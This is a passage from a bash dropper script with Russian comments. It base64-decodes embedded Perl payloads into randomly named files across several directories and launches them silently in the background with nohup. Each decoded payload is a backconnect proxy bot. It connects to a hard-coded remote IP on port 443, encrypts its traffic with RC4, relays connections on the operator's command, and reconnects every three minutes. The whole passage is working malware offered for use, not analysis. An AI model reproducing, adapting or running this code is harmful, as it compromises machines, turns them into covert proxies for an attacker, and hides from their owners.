cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #45 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #45 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 46 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #46 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #46 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 47 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9 